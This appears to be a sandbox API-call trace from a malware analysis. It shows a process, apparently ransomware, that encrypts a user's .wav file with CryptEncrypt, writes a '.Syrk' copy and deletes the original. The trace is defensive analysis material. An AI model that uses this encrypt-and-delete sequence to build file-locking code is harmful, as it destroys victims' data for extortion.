GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.655] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", lpFilePart=0x0) returned 0x40 [0243.655] EtwEventActivityIdControl () returned 0x0 [0243.656] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.656] EtwEventActivityIdControl () returned 0x0 [0243.656] EtwEventActivityIdControl () returned 0x0 [0243.656] EtwEventActivityIdControl () returned 0x0 [0243.657] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.657] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", lpFilePart=0x0) returned 0x40 [0243.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0243.658] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0243.658] GetFileType (hFile=0x454) returned 0x1 [0243.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0243.658] GetFileType (hFile=0x454) returned 0x1 [0243.658] EtwEventActivityIdControl () returned 0x0 [0243.658] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.659] EtwEventActivityIdControl () returned 0x0 [0243.659] EtwEventActivityIdControl () returned 0x0 [0243.659] EtwEventActivityIdControl () returned 0x0 [0243.660] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0243.660] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk", lpFilePart=0x0) returned 0x45 [0243.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0243.660] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0243.661] GetFileType (hFile=0x1d4) returned 0x1 [0243.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0243.661] GetFileType (hFile=0x1d4) returned 0x1 [0243.661] EtwEventActivityIdControl () returned 0x0 [0243.662] CryptGenRandom (in: hProv=0x373f80, dwLen=0x10, pbBuffer=0x241b634 | out: pbBuffer=0x241b634) returned 1 [0243.663] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.663] CryptDuplicateKey (in: hKey=0x5c694c0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69140) returned 1 [0243.663] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.663] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x4, pbData=0x241c960*=0x1, dwFlags=0x0) returned 1 [0243.663] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x1, pbData=0x241c92c, dwFlags=0x0) returned 1 [0243.664] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.664] EtwEventActivityIdControl () returned 0x0 [0243.664] EtwEventActivityIdControl () returned 0x0 [0243.664] EtwEventActivityIdControl () returned 0x0 [0243.665] EtwEventActivityIdControl () returned 0x0 [0243.665] ReadFile (in: hFile=0x454, lpBuffer=0x241f5a8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x241f5a8*, lpNumberOfBytesRead=0x5a2e7d8*=0x291d, lpOverlapped=0x0) returned 1 [0243.667] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24335c0*, pdwDataLen=0x5a2e7cc*=0x2910, dwBufLen=0x2910 | out: pbData=0x24335c0*, pdwDataLen=0x5a2e7cc*=0x2910) returned 1 [0243.667] WriteFile (in: hFile=0x1d4, lpBuffer=0x241b710*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x241b710*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0243.668] WriteFile (in: hFile=0x1d4, lpBuffer=0x24345ac*, nNumberOfBytesToWrite=0x1924, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24345ac*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1924, lpOverlapped=0x0) returned 1 [0243.668] ReadFile (in: hFile=0x454, lpBuffer=0x241f5a8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x241f5a8*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0243.669] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2435edc*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2435edc*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0243.669] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2435ef8*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2435ef8*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0243.669] WriteFile (in: hFile=0x1d4, lpBuffer=0x241b710*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x241b710*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0243.669] CloseHandle (hObject=0x1d4) returned 1 [0243.670] CloseHandle (hObject=0x454) returned 1 [0243.670] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.671] EtwEventActivityIdControl () returned 0x0 [0243.671] EtwEventActivityIdControl () returned 0x0 [0243.671] EtwEventActivityIdControl () returned 0x0 [0243.677] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav")) returned 0x20 [0243.680] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.680] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", lpFilePart=0x0) returned 0x40 [0243.680] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0243.680] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0243.680] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0243.680] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0243.680] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0243.680] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0243.681] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0243.681] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0243.681] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0243.681] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0243.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0243.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0243.681] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0243.681] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0243.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0243.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0243.682] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0243.682] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0243.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0243.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0243.682] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0243.682] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0243.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0243.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0243.683] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav")) returned 0x20 [0243.683] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.683] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", lpFilePart=0x0) returned 0x40 [0243.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", lpFilePart=0x0) returned 0x40 [0243.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0243.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", lpFilePart=0x0) returned 0x40 [0243.686] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0243.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0243.687] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0243.687] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0243.687] CoTaskMemFree (pv=0x5c98368) [0243.689] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav")) returned 0x20 [0243.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav", lpFilePart=0x0) returned 0x40 [0243.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0243.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav"), fInfoLevelId=0x0, lpFileInformation=0x2444934 | out: lpFileInformation=0x2444934*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd390470, ftCreationTime.dwHighDateTime=0x1d99a97, ftLastAccessTime.dwLowDateTime=0x14201510, ftLastAccessTime.dwHighDateTime=0x1d99bd0, ftLastWriteTime.dwLowDateTime=0x14201510, ftLastWriteTime.dwHighDateTime=0x1d99bd0, nFileSizeHigh=0x0, nFileSizeLow=0x291d)) returned 1 [0243.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0243.689] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav")) returned 1 [0243.691] EtwEventActivityIdControl () returned 0x0 [0243.691] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.691] EtwEventActivityIdControl () returned 0x0 [0243.692] EtwEventActivityIdControl () returned 0x0 [0243.692] EtwEventActivityIdControl () returned 0x0 [0243.699] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav.syrk")) returned 0x20 [0243.700] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav.syrk")) returned 0x20 [0243.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0243.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk", lpFilePart=0x0) returned 0x45 [0243.701] EtwEventActivityIdControl () returned 0x0 [0243.701] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.702] EtwEventActivityIdControl () returned 0x0 [0243.702] EtwEventActivityIdControl () returned 0x0 [0243.702] EtwEventActivityIdControl () returned 0x0 [0243.706] EtwEventActivityIdControl () returned 0x0 [0243.706] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.706] EtwEventActivityIdControl () returned 0x0 [0243.706] EtwEventActivityIdControl () returned 0x0 [0243.706] EtwEventActivityIdControl () returned 0x0 [0243.768] EtwEventActivityIdControl () returned 0x0 [0243.768] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.769] EtwEventActivityIdControl () returned 0x0 [0243.769] EtwEventActivityIdControl () returned 0x0 [0243.769] EtwEventActivityIdControl () returned 0x0 [0243.774] EtwEventActivityIdControl () returned 0x0 [0243.775] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.775] EtwEventActivityIdControl () returned 0x0 [0243.775] EtwEventActivityIdControl () returned 0x0 [0243.775] EtwEventActivityIdControl () returned 0x0 [0243.779] EtwEventActivityIdControl () returned 0x0 [0243.779] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.779] EtwEventActivityIdControl () returned 0x0 [0243.779] EtwEventActivityIdControl () returned 0x0 [0243.779] EtwEventActivityIdControl () returned 0x0 [0243.783] EtwEventActivityIdControl () returned 0x0 [0243.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0243.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24511b0 | out: lpFileInformation=0x24511b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf00f70, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xcf00f70, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xcf270d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x2934)) returned 1 [0243.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0243.788] GetConsoleOutputCP () returned 0x1b5 [0243.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.788] GetConsoleOutputCP () returned 0x1b5 [0243.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.788] GetConsoleOutputCP () returned 0x1b5 [0243.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.788] GetConsoleOutputCP () returned 0x1b5 [0243.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.789] GetConsoleOutputCP () returned 0x1b5 [0243.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.789] GetConsoleOutputCP () returned 0x1b5 [0243.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.789] GetConsoleOutputCP () returned 0x1b5 [0243.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.789] GetConsoleOutputCP () returned 0x1b5 [0243.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.790] GetConsoleOutputCP () returned 0x1b5 [0243.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.790] GetConsoleOutputCP () returned 0x1b5 [0243.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.790] GetConsoleOutputCP () returned 0x1b5 [0243.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.790] GetConsoleOutputCP () returned 0x1b5 [0243.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.791] GetConsoleOutputCP () returned 0x1b5 [0243.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.791] GetConsoleOutputCP () returned 0x1b5 [0243.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.791] GetConsoleOutputCP () returned 0x1b5 [0243.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.791] GetConsoleOutputCP () returned 0x1b5 [0243.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.792] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0243.792] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.792] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x246ae78*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x246ae78*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0243.793] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.793] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0243.794] EtwEventActivityIdControl () returned 0x0 [0243.794] 